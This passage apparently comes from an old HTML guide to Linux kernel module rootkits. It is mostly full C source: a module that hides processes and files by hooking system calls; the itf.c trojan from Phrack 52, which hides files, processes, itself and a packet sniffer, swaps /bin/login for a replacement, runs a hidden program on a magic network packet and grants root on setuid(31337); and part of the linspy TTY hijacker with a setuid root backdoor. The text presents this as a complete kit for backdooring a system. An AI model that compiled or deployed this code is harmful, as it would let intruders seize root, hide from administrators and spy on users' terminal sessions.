5380 int (*original_getdents)(unsigned int, struct dirent *, unsigned int);
5381 int (*original_kill)(pid_t, int);
5382 int (*original_read)(int, void *, size_t);
5383 int (*original_query_module)(const char *, int, void *, size_t, size_t *);
5384
5385 int myatoi(char *str)
5386 {
5387         int res = 0;
5388         int mul = 1;
5389         char *ptr;
5390
5391         for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
5392                 if(*ptr < '0' || *ptr > '9')
5393                         return(-1);
5394                 res += (*ptr - '0') * mul;
5395                 mul *= 10;
5396         }
5397         return(res);
5398 }
5399
5400 void mybcopy(char *src, char *dst, unsigned int num)
5401 {
5402         while(num--)
5403                 *(dst++) = *(src++);
5404 }
5405
5406 int mystrcmp(char *str1, char *str2)
5407 {
5408         while(*str1 && *str2)
5409                 if(*(str1++) != *(str2++))
5410                         return(-1);
5411         return(0);
5412 }
5413
5414 struct task_struct *find_task(pid_t pid)
5415 {
5416         struct task_struct *task = current;
5417
5418         do {
5419                 if(task->pid == pid)
5420                         return(task);
5421
5422                 task = task->next_task;
5423
5424         } while(task != current);
5425
5426         return(NULL);
5427 }
5428
5429 int is_invisible(pid_t pid)
5430 {
5431         struct task_struct *task;
5432
5433         if((task = find_task(pid)) == NULL)
5434                 return(0);
5435
5436         if(task->flags & PF_INVISIBLE)
5437                 return(1);
5438
5439         return(0);
5440 }
5441
5442 int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
5443 {
5444         int res;
5445         int proc = 0;
5446         struct inode *dinode;
5447         char *ptr = (char *)dirp;
5448         struct dirent *curr;
5449         struct dirent *prev = NULL;
5450
5451         res = (*original_getdents)(fd, dirp, count);
5452
5453         if(!res)
5454                 return(res);
5455
5456         if(res == -1)
5457                 return(-errno);
5458
5459 #ifdef __LINUX_DCACHE_H
5460         dinode = current->files->fd[fd]->f_dentry->d_inode;
5461 #else
5462         dinode = current->files->fd[fd]->f_inode;
5463 #endif
5464
5465         if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
5466                 proc = 1;
5467
5468         while(ptr < (char *)dirp + res) {
5469                 curr = (struct dirent *)ptr;
5470
5471                 if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) ||
5472                         (proc && is_invisible(myatoi(curr->d_name)))) {
5473
5474                         if(curr == dirp) {
5475                                 res -= curr->d_reclen;
5476                                 mybcopy(ptr + curr->d_reclen, ptr, res);
5477                                 continue;
5478                         }
5479                         else
5480                                 prev->d_reclen += curr->d_reclen;
5481                 }
5482                 else
5483                         prev = curr;
5484
5485                 ptr += curr->d_reclen;
5486         }
5487
5488         return(res);
5489 }
5490
5491 int hacked_kill(pid_t pid, int sig)
5492 {
5493         int res;
5494         struct task_struct *task = current;
5495
5496         if(sig != SIGINVISI) {
5497                 res = (*original_kill)(pid, sig);
5498
5499                 if(res == -1)
5500                         return(-errno);
5501
5502                 return(res);
5503         }
5504
5505         if((task = find_task(pid)) == NULL)
5506                 return(-ESRCH);
5507
5508         if(current->uid && current->euid)
5509                 return(-EPERM);
5510
5511         task->flags |= PF_INVISIBLE;
5512
5513         return(0);
5514 }
5515
5516 int hacked_read(int fd, char *buf, size_t count)
5517 {
5518         int res;
5519         char *ptr, *match;
5520         struct inode *dinode;
5521
5522         res = (*original_read)(fd, buf, count);
5523
5524         if(res == -1)
5525                 return(-errno);
5526
5527 #ifdef __LINUX_DCACHE_H
5528         dinode = current->files->fd[fd]->f_dentry->d_inode;
5529 #else
5530         dinode = current->files->fd[fd]->f_inode;
5531 #endif
5532
5533         if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1)
5534                 return(res);
5535
5536         ptr = buf;
5537
5538         while(ptr < buf + res) {
5539                 if(!mystrcmp(MAGIC_PREFIX, ptr)) {
5540                         match = ptr;
5541                         while(*ptr && *ptr != '\n')
5542                                 ptr++;
5543                         ptr++;
5544                         mybcopy(ptr, match, (buf + res) - ptr);
5545                         res = res - (ptr - match);
5546                         return(res);
5547                 }
5548                 while(*ptr && *ptr != '\n')
5549                         ptr++;
5550                 ptr++;
5551         }
5552
5553         return(res);
5554 }
5555
5556 int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret)
5557 {
5558         int res;
5559         int cnt;
5560         char *ptr, *match;
5561
5562         res = (*original_query_module)(name, which, buf, bufsize, ret);
5563
5564         if(res == -1)
5565                 return(-errno);
5566
5567         if(which != QM_MODULES)
5568                 return(res);
5569
5570         ptr = buf;
5571
5572         for(cnt = 0; cnt < *ret; cnt++) {
5573                 if(!mystrcmp(MAGIC_PREFIX, ptr)) {
5574                         match = ptr;
5575                         while(*ptr)
5576                                 ptr++;
5577                         ptr++;
5578                         mybcopy(ptr, match, bufsize - (ptr - (char *)buf));
5579                         (*ret)--;
5580                         return(res);
5581                 }
5582                 while(*ptr)
5583                         ptr++;
5584                 ptr++;
5585         }
5586
5587         return(res);
5588 }
5589
5590 int init_module(void)
5591 {
5592         original_getdents = sys_call_table[SYS_getdents];
5593         sys_call_table[SYS_getdents] = hacked_getdents;
5594
5595         original_kill = sys_call_table[SYS_kill];
5596         sys_call_table[SYS_kill] = hacked_kill;
5597
5598         original_read = sys_call_table[SYS_read];
5599         sys_call_table[SYS_read] = hacked_read;
5600
5601         original_query_module = sys_call_table[SYS_query_module];
5602         sys_call_table[SYS_query_module] = hacked_query_module;
5603
5604         return(0);
5605 }
5606
5607 void cleanup_module(void)
5608 {
5609         sys_call_table[SYS_getdents] = original_getdents;
5610         sys_call_table[SYS_kill] = original_kill;
5611         sys_call_table[SYS_read] = original_read;
5612         sys_call_table[SYS_query_module] = original_query_module;
5613 }
5614
5615 -----
5616
5617 -----
5618 Runar Jensen            | Phone  (318) 289-0125 | Email zarq@1stnet.com
5619 Network Administrator   |   or   (800) 264-7440 |   or  zarq@opaque.org
5620 Tech Operations Mgr     | Fax    (318) 235-1447 | Epage zarq@page.1stnet.com
5621 FirstNet of Acadiana    | Pager  (318) 268-8533 |       [message in subject]
5622
5623 </xmp>
5624
5625
5626 <H3><A NAME="A-c"></A>LKM Hider / Socket Backdoor</h3>
5627
5628 <b>NAME</b>            : itf.c<br>
5629 <b>AUTHOR</b>          : <A HREF="mailto:dube0866@eurobretagne.fr">plaguez</a><br>
5630 <b>DESCRIPTION</b>     : This very good LKM was published in phrack 52 (article 18 :
5631                   'Weakening the Linux Kernel'). I often refered to it although                   
5632                   some ideas in it were also taken from other LKMs / texts which
5633                   were published before. This module has everything you need to
5634                   backdoor a system in a very effective way. Look at the text
5635                   supplied with it for all of its features.<br>
5636 <b>LINK</b>            : <A HREF="http://www.phrack.com">http://www.phrack.com</a><br>
5637
5638 <xmp>
5639 Here is itf.c.  The goal of this program is to demonstrate kernel backdooring
5640 techniques using systemcall redirection.  Once installed, it is very hard to
5641 spot.
5642
5643 Its features include:
5644
5645 - stealth functions:  once insmod'ed, itf will modify struct module *mp and
5646 get_kernel_symbols(2) so it won't appear in /proc/modules or ksyms' outputs.
5647 Also, the module cannot be unloaded.
5648
5649 - sniffer hidder: itf will backdoor ioctl(2) so that the PROMISC flag will be
5650 hidden.  Note that you'll need to place the sniffer BEFORE insmod'ing itf.o,
5651 because itf will trap a change in the PROMISC flag and will then stop hidding
5652 it (otherwise you'd just have to do a ifconfig eth0 +promisc and you'd spot
5653 the module...).
5654
5655 - file hidder: itf will also patch the getdents(2) system calls, thus hidding
5656 files containing a certain word in their filename.
5657
5658 - process hidder: using the same technique as described above, itf will hide
5659 /procs/PÏD directories using argv entries.  Any process named with the magic
5660 name will be hidden from the procfs tree.
5661
5662 - execve redirection: this implements Halflife's idea discussed in P51.
5663 If a given program (notably /bin/login) is execve'd, itf will execve
5664 another program instead.  It uses tricks to overcome Linux memory managment
5665 limitations: brk(2) is used to increase the calling program's data segment
5666 size, thus allowing us to allocate user memory while in kernel mode (remember
5667 that most system calls wait for arguments in user memory, not kernel mem).
5668
5669 - socket recvfrom() backdoor: when a packet matching a given size and a given
5670 string is received, a non-interactive program will be executed.  Typicall use
5671 is a shell script (which will be hidden using the magic name) that opens
5672 another port and waits there for shell commands.
5673
5674 - setuid() trojan: like Halflife's stuff.  When a setuid() syscall with uid ==
5675 magic number is done, the calling process will get uid = euid = gid = 0
5676
5677
5678 <++> lkm_trojan.c
5679 /*
5680  * itf.c v0.8
5681  * Linux Integrated Trojan Facility
5682  * (c) plaguez 1997  --  dube0866@eurobretagne.fr
5683  * This is mostly not fully tested code. Use at your own risks.
5684  *
5685  * 
5686  * compile with:
5687  *   gcc -c -O3 -fomit-frame-pointer itf.c
5688  * Then:
5689  *   insmod itf
5690  * 
5691  * 
5692  * Thanks to Halflife and Solar Designer for their help/ideas. 
5693  *
5694  * Greets to: w00w00, GRP, #phrack, #innuendo, K2, YmanZ, Zemial.
5695  *
5696  * 
5697  */
5698
5699 #define MODULE
5700 #define __KERNEL__
5701
5702
5703 #include <linux/config.h>
5704 #include <linux/module.h>
5705 #include <linux/version.h>
5706
5707 #include <linux/types.h>
5708 #include <linux/fs.h>
5709 #include <linux/mm.h>
5710 #include <linux/errno.h>
5711 #include <asm/segment.h>
5712 #include <asm/pgtable.h>
5713 #include <sys/syscall.h>
5714 #include <linux/dirent.h>
5715 #include <asm/unistd.h>
5716 #include <sys/types.h>
5717 #include <sys/socket.h>
5718 #include <sys/socketcall.h>
5719 #include <linux/netdevice.h>
5720 #include <linux/if.h>
5721 #include <linux/if_arp.h>
5722 #include <linux/if_ether.h>
5723 #include <linux/proc_fs.h>
5724 #include <stdio.h>
5725 #include <errno.h>
5726 #include <fcntl.h>
5727 #include <ctype.h>
5728
5729
5730 /* Customization section 
5731  * - RECVEXEC is the full pathname of the program to be launched when a packet
5732  * of size MAGICSIZE and containing the word MAGICNAME is received with recvfrom().
5733  * This program can be a shell script, but must be able to handle null **argv (I'm too lazy
5734  * to write more than execve(RECVEXEC,NULL,NULL); :)
5735  * - NEWEXEC is the name of the program that is executed instead of OLDEXEC
5736  * when an execve() syscall occurs.
5737  * - MAGICUID is the numeric uid that will give you root when a call to setuid(MAGICUID)
5738  * is made (like Halflife's code)
5739  * - files containing MAGICNAME in their full pathname will be invisible to
5740  * a getdents() system call.
5741  * - processes containing MAGICNAME in their process name will be hidden of the
5742  * procfs tree.
5743  */
5744 #define MAGICNAME "w00w00T$!"
5745 #define MAGICUID  31337
5746 #define OLDEXEC   "/bin/login"
5747 #define NEWEXEC   "/.w00w00T$!/w00w00T$!login"
5748 #define RECVEXEC  "/.w00w00T$!/w00w00T$!recv"
5749 #define MAGICSIZE sizeof(MAGICNAME)+10
5750
5751 /* old system calls vectors */
5752 int (*o_getdents) (uint, struct dirent *, uint);
5753 ssize_t(*o_readdir) (int, void *, size_t);
5754 int (*o_setuid) (uid_t);
5755 int (*o_execve) (const char *, const char *[], const char *[]);
5756 int (*o_ioctl) (int, int, unsigned long);
5757 int (*o_get_kernel_syms) (struct kernel_sym *);
5758 ssize_t(*o_read) (int, void *, size_t);
5759 int (*o_socketcall) (int, unsigned long *);
5760 /* entry points to brk() and fork() syscall. */
5761 static inline _syscall1(int, brk, void *, end_data_segment);
5762 static inline _syscall0(int, fork);
5763 static inline _syscall1(void, exit, int, status);
5764
5765 extern void *sys_call_table[];
5766 extern struct proto tcp_prot;
5767 int errno;
5768
5769 char mtroj[] = MAGICNAME;
5770 int __NR_myexecve;
5771 int promisc;
5772
5773
5774
5775 /*
5776  * String-oriented functions
5777  * (from user-space to kernel-space or invert)
5778  */
5779
5780 char *strncpy_fromfs(char *dest, const char *src, int n)
5781 {
5782     char *tmp = src;
5783     int compt = 0;
5784
5785     do {
5786         dest[compt++] = __get_user(tmp++, 1);
5787     }
5788     while ((dest[compt - 1] != '\0') && (compt != n));
5789
5790     return dest;
5791 }
5792
5793
5794 int myatoi(char *str)
5795 {
5796     int res = 0;
5797     int mul = 1;
5798     char *ptr;
5799
5800     for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
5801         if (*ptr < '0' || *ptr > '9')
5802             return (-1);
5803         res += (*ptr - '0') * mul;
5804         mul *= 10;
5805     }
5806     return (res);
5807 }
5808
5809
5810
5811 /*
5812  * process hiding functions
5813  */
5814 struct task_struct *get_task(pid_t pid)
5815 {
5816     struct task_struct *p = current;
5817     do {
5818         if (p->pid == pid)
5819             return p;
5820         p = p->next_task;
5821     }
5822     while (p != current);
5823     return NULL;
5824
5825 }
5826
5827 /* the following function comes from fs/proc/array.c */
5828 static inline char *task_name(struct task_struct *p, char *buf)
5829 {
5830     int i;
5831     char *name;
5832
5833     name = p->comm;
5834     i = sizeof(p->comm);
5835     do {
5836         unsigned char c = *name;
5837         name++;
5838         i--;
5839         *buf = c;
5840         if (!c)
5841             break;
5842         if (c == '\\') {
5843             buf[1] = c;
5844             buf += 2;
5845             continue;
5846         }
5847         if (c == '\n') {
5848             buf[0] = '\\';
5849             buf[1] = 'n';
5850             buf += 2;
5851             continue;
5852         }
5853         buf++;
5854     }
5855     while (i);
5856     *buf = '\n';
5857     return buf + 1;
5858 }
5859
5860
5861
5862 int invisible(pid_t pid)
5863 {
5864     struct task_struct *task = get_task(pid);
5865     char *buffer;
5866     if (task) {
5867         buffer = kmalloc(200, GFP_KERNEL);
5868         memset(buffer, 0, 200);
5869         task_name(task, buffer);
5870         if (strstr(buffer, (char *) &mtroj)) {
5871             kfree(buffer);
5872             return 1;
5873         }
5874     }
5875     return 0;
5876 }
5877
5878
5879
5880 /*
5881  * New system calls
5882  */
5883
5884 /*
5885  * hide module symbols
5886  */
5887 int n_get_kernel_syms(struct kernel_sym *table)
5888 {
5889     struct kernel_sym *tb;
5890     int compt, compt2, compt3, i, done;
5891
5892     compt = (*o_get_kernel_syms) (table);
5893     if (table != NULL) {
5894         tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL);
5895         if (tb == 0) {
5896             return compt;
5897         }
5898         compt2 = 0;
5899         done = 0;
5900         i = 0;
5901         memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct kernel_sym));
5902         while (!done) {
5903             if ((tb[compt2].name)[0] == '#')
5904                 i = compt2;
5905             if (!strcmp(tb[compt2].name, mtroj)) {
5906                 for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 < compt; compt3++);
5907                 if (compt3 != (compt - 1))
5908                     memmove((void *) &(tb[i]), (void *) &(tb[compt3]), (compt - compt3) * sizeof(struct kernel_sym));
5909                 else
5910                     compt = i;
5911                 done++;
5912             }
5913             compt2++;
5914             if (compt2 == compt)
5915                 done++;
5916
5917         }
5918
5919         memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym));
5920         kfree(tb);
5921     }
5922     return compt;
5923
5924 }
5925
5926
5927
5928 /*
5929  * how it works:
5930  * I need to allocate user memory. To do that, I'll do exactly as malloc() does
5931  * it (changing the break value).
5932  */
5933 int my_execve(const char *filename, const char *argv[], const char *envp[])
5934 {
5935     long __res;
5936     __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
5937     return (int) __res;
5938 }
5939
5940 int n_execve(const char *filename, const char *argv[], const char *envp[])
5941 {
5942     char *test;
5943     int ret, tmp;
5944     char *truc = OLDEXEC;
5945     char *nouveau = NEWEXEC;
5946     unsigned long mmm;
5947
5948     test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
5949     (void) strncpy_fromfs(test, filename, strlen(truc));
5950     test[strlen(truc)] = '\0';
5951     if (!strcmp(test, truc)) {
5952         kfree(test);
5953         mmm = current->mm->brk;
5954         ret = brk((void *) (mmm + 256));
5955         if (ret < 0)
5956             return ret;
5957         memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
5958         ret = my_execve((char *) (mmm + 2), argv, envp);
5959         tmp = brk((void *) mmm);
5960     } else {
5961         kfree(test);
5962         ret = my_execve(filename, argv, envp);
5963     }
5964     return ret;
5965
5966 }
5967
5968
5969 /*
5970  * Trap the ioctl() system call to hide PROMISC flag on ethernet interfaces.
5971  * If we reset the PROMISC flag when the trojan is already running, then it
5972  * won't hide it anymore (needed otherwise you'd just have to do an
5973  * "ifconfig eth0 +promisc" to find the trojan).
5974  */
5975 int n_ioctl(int d, int request, unsigned long arg)
5976 {
5977     int tmp;
5978     struct ifreq ifr;
5979
5980     tmp = (*o_ioctl) (d, request, arg);
5981     if (request == SIOCGIFFLAGS && !promisc) {
5982         memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
5983         ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC);
5984         memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq));
5985     } else if (request == SIOCSIFFLAGS) {
5986         memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
5987         if (ifr.ifr_flags & IFF_PROMISC)
5988             promisc = 1;
5989         else if (!(ifr.ifr_flags & IFF_PROMISC))
5990             promisc = 0;
5991     }
5992     return tmp;
5993
5994 }
5995
5996
5997 /*
5998  * trojan setMAGICUID() system call.
5999  */
6000 int n_setuid(uid_t uid)
6001 {
6002     int tmp;
6003
6004     if (uid == MAGICUID) {
6005         current->uid = 0;
6006         current->euid = 0;
6007         current->gid = 0;
6008         current->egid = 0;
6009         return 0;
6010     }
6011     tmp = (*o_setuid) (uid);
6012     return tmp;
6013 }
6014
6015
6016 /*
6017  * trojan getdents() system call. 
6018  */
6019 int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
6020 {
6021     unsigned int tmp, n;
6022     int t, proc = 0;
6023     struct inode *dinode;
6024     struct dirent *dirp2, *dirp3;
6025
6026     tmp = (*o_getdents) (fd, dirp, count);
6027
6028 #ifdef __LINUX_DCACHE_H
6029     dinode = current->files->fd[fd]->f_dentry->d_inode;
6030 #else
6031     dinode = current->files->fd[fd]->f_inode;
6032 #endif
6033
6034     if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
6035         proc = 1;
6036     if (tmp > 0) {
6037         dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
6038         memcpy_fromfs(dirp2, dirp, tmp);
6039         dirp3 = dirp2;
6040         t = tmp;
6041         while (t > 0) {
6042             n = dirp3->d_reclen;
6043             t -= n;
6044             if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj) != NULL) \
6045                 ||(proc && invisible(myatoi(dirp3->d_name)))) {
6046                 if (t != 0)
6047                     memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
6048                 else
6049                     dirp3->d_off = 1024;
6050                 tmp -= n;
6051             }
6052             if (dirp3->d_reclen == 0) {
6053                 /*
6054                  * workaround for some shitty fs drivers that do not properly
6055                  * feature the getdents syscall.
6056                  */
6057                 tmp -= t;
6058                 t = 0;
6059             }
6060             if (t != 0)
6061                 dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
6062
6063
6064         }
6065         memcpy_tofs(dirp, dirp2, tmp);
6066         kfree(dirp2);
6067     }
6068     return tmp;
6069
6070 }
6071
6072
6073 /*
6074  * Trojan socketcall system call
6075  * executes a given binary when a packet containing the magic word is received.
6076  * WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM.  
6077  */
6078
6079 int n_socketcall(int call, unsigned long *args)
6080 {
6081     int ret, ret2, compt;
6082     char *t = RECVEXEC;
6083     unsigned long *sargs = args;
6084     unsigned long a0, a1, mmm;
6085     void *buf;
6086
6087     ret = (*o_socketcall) (call, args);
6088     if (ret == MAGICSIZE && call == SYS_RECVFROM) {
6089         a0 = get_user(sargs);
6090         a1 = get_user(sargs + 1);
6091         buf = kmalloc(ret, GFP_KERNEL);
6092         memcpy_fromfs(buf, (void *) a1, ret);
6093         for (compt = 0; compt < ret; compt++)
6094             if (((char *) (buf))[compt] == 0)
6095                 ((char *) (buf))[compt] = 1;
6096         if (strstr(buf, mtroj)) {
6097             kfree(buf);
6098             ret2 = fork();
6099             if (ret2 == 0) {
6100                 mmm = current->mm->brk;
6101                 ret2 = brk((void *) (mmm + 256));
6102                 memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
6103 /* Hope the execve has been successfull otherwise you'll have 2 copies of the
6104    master process in the ps list :] */
6105                 ret2 = my_execve((char *) mmm + 2, NULL, NULL);
6106             }
6107         }
6108     }
6109     return ret;
6110 }
6111
6112
6113
6114
6115
6116 /*
6117  * module initialization stuff.
6118  */
6119 int init_module(void)
6120 {
6121 /* module list cleaning */
6122 /* would need to make a clean search of the right register
6123  * in the function prologue, since gcc may not always put 
6124  * struct module *mp in %ebx 
6125  * 
6126  * Try %ebx, %edi, %ebp, well, every register actually :)
6127  */
6128     register struct module *mp asm("%ebx");
6129     *(char *) (mp->name) = 0;
6130     mp->size = 0;
6131     mp->ref = 0;
6132 /*
6133  * Make it unremovable
6134  */
6135 /*    MOD_INC_USE_COUNT;
6136  */
6137     o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms];
6138     sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms;
6139
6140     o_getdents = sys_call_table[SYS_getdents];
6141     sys_call_table[SYS_getdents] = (void *) n_getdents;
6142
6143     o_setuid = sys_call_table[SYS_setuid];
6144     sys_call_table[SYS_setuid] = (void *) n_setuid;
6145
6146     __NR_myexecve = 164;
6147     while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
6148         __NR_myexecve--;
6149     o_execve = sys_call_table[SYS_execve];
6150     if (__NR_myexecve != 0) {
6151         sys_call_table[__NR_myexecve] = o_execve;
6152         sys_call_table[SYS_execve] = (void *) n_execve;
6153     }
6154     promisc = 0;
6155     o_ioctl = sys_call_table[SYS_ioctl];
6156     sys_call_table[SYS_ioctl] = (void *) n_ioctl;
6157
6158     o_socketcall = sys_call_table[SYS_socketcall];
6159     sys_call_table[SYS_socketcall] = (void *) n_socketcall;
6160     return 0;
6161
6162 }
6163
6164
6165 void cleanup_module(void)
6166 {
6167     sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms;
6168     sys_call_table[SYS_getdents] = o_getdents;
6169     sys_call_table[SYS_setuid] = o_setuid;
6170     sys_call_table[SYS_socketcall] = o_socketcall;
6171
6172     if (__NR_myexecve != 0)
6173         sys_call_table[__NR_myexecve] = 0;
6174     sys_call_table[SYS_execve] = o_execve;
6175
6176     sys_call_table[SYS_ioctl] = o_ioctl;
6177 }
6178 <-->
6179
6180 ----[  EOF
6181 </xmp>
6182
6183 <H3><A NAME="A-d"></A>LKM TTY hijacking</h3>
6184
6185 <b>NAME</b>            : linspy<br>
6186 <b>AUTHOR</b>          : <A HREF="mailto:halflife@infonexus.com">halflife</a><br>
6187 <b>DESCRIPTION</b>     : This LKM comes again Phrack issue 50 (article 5: 'Abuse of the
6188                   Linux Kernel for Fun and Profit'). It is a very nice TTY 
6189                   hijacker working the way I outline in II.7. This module
6190                   uses its own character device for control / and logging.<br>
6191 <b>LINK</b>            : <A HREF="http://www.phrack.com">http://www.phrack.com</a><br>
6192
6193
6194 <xmp>
6195 <++> linspy/Makefile
6196 CONFIG_KERNELD=-DCONFIG_KERNELD
6197 CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)
6198 CC=gcc
6199 # this is the name of the device you have (or will) made with mknod
6200 DN = '-DDEVICE_NAME="/dev/ltap"'
6201 # 1.2.x need this to compile, comment out on 1.3+ kernels
6202 V = #-DNEED_VERSION
6203 MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX
6204
6205 all:            linspy ltread setuid
6206
6207 linspy:         linspy.c /usr/include/linux/version.h
6208                 $(CC) $(MODCFLAGS) -c linspy.c
6209
6210 ltread:         
6211                 $(CC) $(DN) -o ltread ltread.c
6212
6213 clean:          
6214                 rm *.o ltread
6215
6216 setuid:         hacked_setuid.c /usr/include/linux/version.h
6217                 $(CC) $(MODCFLAGS) -c hacked_setuid.c
6218                                                      
6219 <--> end Makefile
6220 <++> linspy/hacked_setuid.c
6221 int errno;
6222 #include <linux/sched.h>
6223 #include <linux/mm.h>
6224 #include <linux/malloc.h>
6225 #include <linux/errno.h>
6226 #include <linux/sched.h>
6227 #include <linux/kernel.h>
6228 #include <linux/times.h>
6229 #include <linux/utsname.h>
6230 #include <linux/param.h>
6231 #include <linux/resource.h>
6232 #include <linux/signal.h>
6233 #include <linux/string.h>
6234 #include <linux/ptrace.h>
6235 #include <linux/stat.h>
6236 #include <linux/mman.h>
6237 #include <linux/mm.h>
6238 #include <asm/segment.h>
6239 #include <asm/io.h>
6240 #include <linux/module.h>
6241 #include <linux/version.h>
6242 #include <errno.h>
6243 #include <linux/unistd.h>
6244 #include <string.h>
6245 #include <asm/string.h>
6246 #include <sys/syscall.h>
6247 #include <sys/types.h>
6248 #include <sys/sysmacros.h>
6249 #ifdef NEED_VERSION
6250 static char kernel_version[] = UTS_RELEASE;
6251 #endif
6252 static inline _syscall1(int, setuid, uid_t, uid);
6253 extern void *sys_call_table[];
6254 void *original_setuid;
6255 extern int hacked_setuid(uid_t uid)
6256 {
6257    int i;                     
6258    if(uid == 4755)
6259    {
6260       current->uid = current->euid = current->gid = current->egid = 0;
6261       return 0;
6262    }
6263    sys_call_table[SYS_setuid] = original_setuid;
6264    i = setuid(uid);
6265    sys_call_table[SYS_setuid] = hacked_setuid;
6266    if(i == -1) return -errno;
6267    else return i;
6268 }
6269 int init_module(void)
6270 {
6271    original_setuid = sys_call_table[SYS_setuid];
6272    sys_call_table[SYS_setuid] = hacked_setuid;
6273    return 0;
6274 }
6275 void cleanup_module(void)
6276 {
6277    sys_call_table[SYS_setuid] = original_setuid;
6278 }  
6279 <++> linspy/linspy.c
6280 int errno;
6281 #include <linux/tty.h>
6282 #include <linux/sched.h>
6283 #include <linux/mm.h>
6284 #include <linux/malloc.h>
6285 #include <linux/errno.h>
6286 #include <linux/sched.h>
6287 #include <linux/kernel.h>
6288 #include <linux/times.h>
6289 #include <linux/utsname.h>
6290 #include <linux/param.h>
6291 #include <linux/resource.h>
6292 #include <linux/signal.h>
6293 #include <linux/string.h>
6294 #include <linux/ptrace.h>
6295 #include <linux/stat.h>
6296 #include <linux/mman.h>
6297 #include <linux/mm.h>
6298 #include <asm/segment.h>
6299 #include <asm/io.h>
6300 #ifdef MODULE
6301 #include <linux/module.h>       
6302 #include <linux/version.h>
6303 #endif
6304 #include <errno.h>
6305 #include <asm/segment.h>
6306 #include <linux/unistd.h>
6307 #include <string.h>
6308 #include <asm/string.h>
6309 #include <sys/syscall.h>
6310 #include <sys/types.h>
6311 #include <sys/sysmacros.h>
6312 #include <linux/vt.h>
6313
6314 /* set the version information, if needed */
6315 #ifdef NEED_VERSION
6316 static char kernel_version[] = UTS_RELEASE;
6317 #endif
6318
6319 #ifndef MIN
6320 #define MIN(a,b)        ((a) < (b) ? (a) : (b))
6321 #endif
6322
6323 /* ring buffer info */        
6324
6325 #define BUFFERSZ        2048
6326 char buffer[BUFFERSZ];
6327 int queue_head = 0;
6328 int queue_tail = 0;
6329
6330 /* taken_over indicates if the victim can see any output */
6331 int taken_over = 0;
6332
6333 static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
6334 extern void *sys_call_table[];
6335
6336 /* device info for the linspy device, and the device we are watching */
6337 static int linspy_major = 40;
6338 int tty_minor = -1;
6339 int tty_major = 4;
6340
6341 /* address of original write(2) syscall */
6342 void *original_write;
6343
6344 void save_write(char *, size_t);
6345
6346
6347 int out_queue(void) 
6348 {
6349    int c;
6350    if(queue_head == queue_tail) return -1;
6351    c = buffer[queue_head];
6352    queue_head++;
6353    if(queue_head == BUFFERSZ) queue_head=0;
6354    return c;
6355 }
6356
6357 int in_queue(int ch)
6358 {
6359    if((queue_tail + 1) == queue_head) return 0;
6360    buffer[queue_tail] = ch;
6361    queue_tail++;
6362    if(queue_tail == BUFFERSZ) queue_tail=0;
6363    return 1;
6364 }
6365
6366
6367 /* check if it is the tty we are looking for */
6368 int is_fd_tty(int fd)
6369 {
6370    struct file *f=NULL;
6371    struct inode *inode=NULL;
6372    int mymajor=0;
6373    int myminor=0;
6374
6375    if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
6376       return 0;
6377    mymajor = major(inode->i_rdev);
6378    myminor = minor(inode->i_rdev);
6379    if(mymajor != tty_major) return 0;
6380    if(myminor != tty_minor) return 0;
6381    return 1;
6382 }
6383
6384 /* this is the new write(2) replacement call */
6385 extern int new_write(int fd, char *buf, size_t count)
6386 {
6387    int r;
6388    if(is_fd_tty(fd))
6389    {
6390       if(count > 0)
6391          save_write(buf, count);
6392       if(taken_over) return count;
6393    }
6394    sys_call_table[SYS_write] = original_write;
6395    r = write(fd, buf, count); 
6396    sys_call_table[SYS_write] = new_write;
6397    if(r == -1) return -errno;
6398    else return r;
6399 }
6400
6401
6402 /* save data from the write(2) call into the buffer */
6403 void save_write(char *buf, size_t count)
6404 {
6405    int i;
6406    for(i=0;i < count;i++)
6407       in_queue(get_fs_byte(buf+i));
6408 }
6409
6410 /* read from the ltap device - return data from queue */
6411 static int linspy_read(struct inode *in, struct file *fi, char *buf, int count)
6412 {
6413    int i;
6414    int c;
6415    int cnt=0;
6416    if(current->euid != 0) return 0;
6417    for(i=0;i < count;i++)
6418    {
6419       c = out_queue();
6420       if(c < 0) break;
6421       cnt++;
6422       put_fs_byte(c, buf+i);
6423    }
6424    return cnt;
6425 }
6426
6427 /* open the ltap device */
6428 static int linspy_open(struct inode *in, struct file *fi)
6429 {
6430    if(current->euid != 0) return -EIO;
